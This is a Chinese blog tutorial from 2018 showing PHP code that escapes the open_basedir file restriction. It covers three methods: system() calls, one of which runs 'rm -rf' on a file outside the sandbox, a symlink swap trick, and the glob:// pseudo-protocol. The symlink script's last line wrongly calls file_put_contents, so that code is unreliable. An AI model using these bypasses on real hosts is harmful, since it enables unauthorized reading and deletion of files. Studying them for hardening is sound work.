PHP绕过open_basedir限制操作文件的方法


Posted in PHP onJune 10, 2018

0x00 预备知识

关于open_basedir

open_basedir是php.ini中的一个配置选项

它可将用户访问文件的活动范围限制在指定的区域,

假设open_basedir=/home/wwwroot/home/web1/:/tmp/,那么通过web1访问服务器的用户就无法获取服务器上除了/home/wwwroot/home/web1/和/tmp/这两个目录以外的文件。

注意用open_basedir指定的限制实际上是前缀,而不是目录名。

举例来说: 若"open_basedir = /dir/user", 那么目录 "/dir/user" 和 "/dir/user1"都是可以访问的。所以如果要将访问限制在仅为指定的目录,请用斜线结束路径名。

关于符号链接

符号链接又叫软链接,是一类特殊的文件,这个文件包含了另一个文件的路径名(绝对路径或者相对路径)。

路径可以是任意文件或目录,可以链接不同文件系统的文件。在对符号文件进行读或写操作的时候,系统会自动把该操作转换为对源文件的操作,但删除链接文件时,系统仅仅删除链接文件,而不删除源文件本身。

0x01 命令执行函数

由于open_basedir的设置对system等命令执行函数是无效的,所以我们可以使用命令执行函数来访问限制目录。

我们首先创建一个目录

/home/puret/test/

且在该目录下新建一个1.txt 内容为abc

nano 1.txt

再在该目录下创建一个目录命名为b

mkdir b

并且在该目录下创建一个1.php文件内容为

<?php
  echo file_get_contents("../1.txt");
?>

且在php.ini中设置好我们的open_basedir

open_basedir = /home/puret/test/b/

我们尝试执行1.php看看open_basedir是否会限制我们的访问

执行效果如图

PHP绕过open_basedir限制操作文件的方法

很明显我们无法直接读取open_basedir所规定以外的目录文件。

接下来我们用system函数尝试绕open_basedir的限制来删除1.txt

编辑1.php为

<?php
 system("rm -rf ../1.txt");
?>

先来看看执行1.php之前的文件情况

PHP绕过open_basedir限制操作文件的方法

执行1.php之后

PHP绕过open_basedir限制操作文件的方法

成功通过命令执行函数绕过open_basedir来删除文件。
由于命令执行函数一般都会被限制在disable_function当中,所以我们需要寻找其他的途径来绕过限制。

0x02 symlink()函数

我们先来了解一下symlink函数

bool symlink ( string $target , string $link )

symlink函数将建立一个指向target的名为link的符号链接,当然一般情况下这个target是受限于open_basedir的。
由于早期的symlink不支持windows,我的测试环境就放在Linux下了。

测试的PHP版本是5.3.0,其他的版本大家自测吧。

在Linux环境下我们可以通过symlink完成一些逻辑上的绕过导致可以跨目录操作文件。

我们首先在/var/www/html/1.php中 编辑1.php的内容为

<?php
  mkdir("c");
  chdir("c");
  mkdir("d");
  chdir("d");
  chdir("..");
  chdir("..");
  symlink("c/d","tmplink");
  symlink("tmplink/../../1.txt","exploit");
  unlink("tmplink");
  mkdir("tmplink");
  echo file_put_contents("http://127.0.0.1/exploit");
?>

接着在/var/www/中新建一个1.txt文件内容为

"abc"

再来设置一下我们的open_basedir

open_basedir = /var/www/html/

在html目录下编辑一个php脚本检验一下open_basedir

<?php
   file_get_contents("../1.txt");
?>

执行看下。

PHP绕过open_basedir限制操作文件的方法

意料之中,文件无法访问。

我们执行刚才写好的脚本,1.php

PHP绕过open_basedir限制操作文件的方法

可以看到成功读取到了1.txt的文件内容,逃脱了open_basedir的限制

问题的关键就在于

symlink("tmplink/../../1.txt","exploit");

此时tmplink还是一个符号链接文件,它指向的路径是c/d,因此exploit指向的路径就变成了

c/d/../../1.txt

由于这个路径在open_basedir的范围之内所以exploit成功建立了。

之后我们删除tmplink符号链接文件再新建一个同名为tmplink的文件夹,这时exploit所指向的路径为

tmplink/../../

PHP绕过open_basedir限制操作文件的方法

由于这时候tmplink变成了一个真实存在的文件夹所以tmplink/../../变成了1.txt所在的目录即/var/www/

然后再通过访问符号链接文件exploit即可直接读取到1.txt的文件内容

当然,针对symlink()只需要将它放入disable_function即可解决问题,所以我们需要寻求更多的方法。

0x03 glob伪协议

glob是php自5.3.0版本起开始生效的一个用来筛选目录的伪协议,由于它在筛选目录时是不受open_basedir的制约的,所以我们可以利用它来绕过限制,我们新建一个目录在/var/www/下命名为test

并且在/var/www/html/下新建t.php内容为

<?php
  $a = "glob:///var/www/test/*.txt";
  if ( $b = opendir($a) ) {
    while ( ($file = readdir($b)) !== false ) {
      echo "filename:".$file."\n";
    }
    closedir($b);
  }
?>

执行结果如图:

PHP绕过open_basedir限制操作文件的方法

成功躲过open_basedir的限制读取到了文件。

PHP 相关文章推荐
elgg 获取文件图标地址的方法
Mar 20 PHP
一个简单php扩展介绍与开发教程
Aug 19 PHP
PHP 验证码的实现代码
Jul 17 PHP
PHP缓存技术的使用说明
Aug 06 PHP
深入PHP操作MongoDB的技术总结
Jun 02 PHP
使用ThinkPHP+Uploadify实现图片上传功能
Jun 26 PHP
YII路径的用法总结
Jul 09 PHP
php实现读取超大文件的方法
Jul 28 PHP
PHP设计模式之观察者模式实例
Feb 22 PHP
Zend Framework入门之环境配置及第一个Hello World示例(附demo源码下载)
Mar 21 PHP
PHP中$GLOBALS['HTTP_RAW_POST_DATA']和$_POST的区别分析
Jul 03 PHP
实例化php类时传参的方法分析
Jun 05 PHP
PHPMailer ThinkPHP实现自动发送邮件功能
Jun 10 #PHP
PHP实现从PostgreSQL数据库检索数据分页显示及根据条件查找数据示例
Jun 09 #PHP
PHP实现二维数组中的查找算法小结
Jun 09 #PHP
PHP实现链表的定义与反转功能示例
Jun 09 #PHP
thinkPHP框架实现的无限回复评论功能示例
Jun 09 #PHP
ThinkPHP5框架实现简单的批量查询功能示例
Jun 07 #PHP
PHP 实现手机端APP支付宝支付功能
Jun 07 #PHP
You might like
PHP中round()函数对浮点数进行四舍五入的方法
2014/11/19 PHP
typecho插件编写教程(三):保存配置
2015/05/28 PHP
php使用curl_init()和curl_multi_init()多线程的速度比较详解
2018/08/15 PHP
JQuery 无废话系列教程(一) jquery入门 [推荐]
2009/06/23 Javascript
Extjs学习过程中新手容易碰到的低级错误积累
2010/02/11 Javascript
Javascript 类与静态类的实现
2010/04/01 Javascript
跟我学Nodejs(一)--- Node.js简介及安装开发环境
2014/05/20 NodeJs
jQuery对指定元素中指定字符串进行替换的方法
2015/03/17 Javascript
JavaScript通过prototype给对象定义属性用法实例
2015/03/23 Javascript
详解使用vue-router进行页面切换时滚动条位置与滚动监听事件
2017/03/08 Javascript
bootstrap插件treeview实现全选父节点下所有子节点和反选功能
2017/07/21 Javascript
js实现的格式化数字和金额功能简单示例
2019/07/30 Javascript
详解package.json版本号规则
2019/08/01 Javascript
Vue父子传递实例讲解
2020/02/14 Javascript
ES6 Symbol在对象中的作用实例分析
2020/06/06 Javascript
VUE子组件向父组件传值详解(含传多值及添加额外参数场景)
2020/09/01 Javascript
[01:33:30]DOTA2-DPC中国联赛 正赛 RNG vs Phoenix BO3 第二场 2月5日
2021/03/11 DOTA
Python中用于计算对数的log()方法
2015/05/15 Python
Python中index()和seek()的用法(详解)
2017/04/27 Python
python3利用Dlib19.7实现人脸68个特征点标定
2018/02/26 Python
Python matplotlib 画图窗口显示到gui或者控制台的实例
2018/05/24 Python
python保存网页图片到本地的方法
2018/07/24 Python
python开启摄像头以及深度学习实现目标检测方法
2018/08/03 Python
python微元法计算函数曲线长度的方法
2018/11/08 Python
Python计算库numpy进行方差/标准方差/样本标准方差/协方差的计算
2018/12/28 Python
Python netmiko模块的使用
2020/02/14 Python
python读取yaml文件后修改写入本地实例
2020/04/27 Python
Python3爬虫关于代理池的维护详解
2020/07/30 Python
微信小程序实现可实时改变转速的css3旋转动画实例代码
2018/09/11 HTML / CSS
美国独家设计师眼镜在线光学商店:Glasses Gallery
2017/12/28 全球购物
英国独特的时尚和生活方式品牌:JOY
2018/03/17 全球购物
工作时间调整通知
2015/04/24 职场文书
2016最新离婚协议书范本及程序
2016/03/18 职场文书
python 定义函数 返回值只取其中一个的实现
2021/05/21 Python
springboot项目以jar包运行的操作方法
2021/06/30 Java/Android
html原生table实现合并单元格以及合并表头的示例代码
2023/05/07 HTML / CSS